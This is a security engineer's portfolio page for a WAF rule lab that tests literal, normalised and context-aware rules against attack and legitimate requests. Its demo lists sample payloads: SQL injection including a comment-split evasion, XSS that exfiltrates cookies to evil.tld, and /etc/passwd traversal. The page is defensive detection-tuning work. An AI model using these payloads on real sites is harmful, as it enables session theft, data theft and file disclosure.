Skip to content
ZK
ZAIN KHALIL KHAN
PORTFOLIO
All projects

Interactive build

WAF Rule Lab | Evasion & False Positive Testing

Web application firewall rule laboratory that runs attack payloads and legitimate traffic through three rule generations, showing how literal keyword matching is defeated by inline comments and why parameter context is what finally removes the false positives.

Live demo readyWAF + Application Security
WAFApplication SecuritySQL InjectionXSSEvasionDetection TuningCase study / interactive demo

Case study

From problem to working system

Problem

Web application firewall rule laboratory that runs attack payloads and legitimate traffic through three rule generations, showing how literal keyword matching is defeated by inline comments and why parameter context is what finally removes the false positives.

My role

Security engineer and full-stack developer

Solution

Web application firewall rule laboratory that runs attack payloads and legitimate traffic through three rule generations, showing how literal keyword matching is defeated by inline comments and why parameter context is what finally removes the false positives.

Architecture

The implementation combines the following technologies and system concerns.

WAFApplication SecuritySQL InjectionXSSEvasionDetection Tuning

How it was built

  • Built three rule generations (literal, normalised, context-aware) over the same payload set, so the tradeoff between evasion resistance and false positives is demonstrated rather than asserted.
  • Implemented normalisation that strips inline comments and collapses whitespace, defeating the keyword-splitting evasion that breaks literal matching.

Security decisions

  • Included legitimate traffic that contains attack keywords in prose, which is the class of request that gets WAFs put into monitor-only mode.

Major challenges

  • Added parameter context so SQL keywords in a free-text comment field are judged differently from the same tokens in a numeric id.
  • Included legitimate traffic that contains attack keywords in prose, which is the class of request that gets WAFs put into monitor-only mode.
  • Reported precision and recall per rule generation, the only honest way to compare tuning changes.

Verified evidence

Results and measurable impact

  • Added parameter context so SQL keywords in a free-text comment field are judged differently from the same tokens in a numeric id.
  • Included legitimate traffic that contains attack keywords in prose, which is the class of request that gets WAFs put into monitor-only mode.
  • Reported precision and recall per rule generation, the only honest way to compare tuning changes.
  • Labelled each wrong outcome as an evasion or a false positive with the specific reason, so the next rule iteration is informed.

No separate numeric outcome is documented, so this section shows shipped technical evidence without inventing metrics.

Screenshots and access

Product view

Open live project

Interactive Demo

A scoped, fully functional recreation of this project's core feature runs below, live in your browser. Reset it, resize it, or expand it to full screen.

WAF Rule Lab

Security platform

WAF Rule LabWorkspace3 updates
WAF Rule Lab · Evasion & False Positivesrule quality against attacks and legitimate traffic
P 100 · R 80

A WAF rule has two failure modes and they pull against each other. Literal keyword matching is evaded by inline comments and blocks anyone who types the word union. Normalising first fixes the evasion; adding parameter context is what finally stops the false positives on free-text fields.

Matches raw substrings. Fast, and defeated by any obfuscation or triggered by ordinary prose.

Attacks blocked

4/5

False positives

0

legitimate traffic blocked

Evasions

1

attacks that got through

Precision

100%

recall 80%

Rule quality
100%precision
80%recall
What this rule generation costs

1 attack evade this rule through obfuscation. No legitimate traffic is blocked, so nobody notices until an incident.

1 evasionno false positives
Request outcomes8 requests
Union-based SQLiid=1 UNION SELECT username,password FROM users--attackBLOCKED

Classic union injection against a numeric parameter.

Comment-obfuscated SQLiid=1/**/UN/**/ION/**/SEL/**/ECT+1,2attackallowed

Evasion: Same attack, keyword split with inline comments to defeat literal matching.

Reflected XSSq=<script>fetch('//evil.tld/'+document.cookie)</script>attackBLOCKED

Script tag with cookie exfiltration.

Event-handler XSSq=<img src=x onerror=alert(1)>attackBLOCKED

No script tag, so a tag-name filter misses it.

Path traversalfile=../../../../etc/passwdattackBLOCKED

Dot-dot traversal outside the intended directory.

Product searchq=union jack flag stickerlegitimateallowed

Contains the token 'union' in ordinary prose.

SQL tutorial commentcomment=I used SELECT * FROM orders to debug thislegitimateallowed

Legitimate text on a developer forum.

Markdown imagebody=![diagram](/img/x.png) onerror handling explainedlegitimateallowed

Mentions onerror in prose, no executable context.

Zain Khalil Khan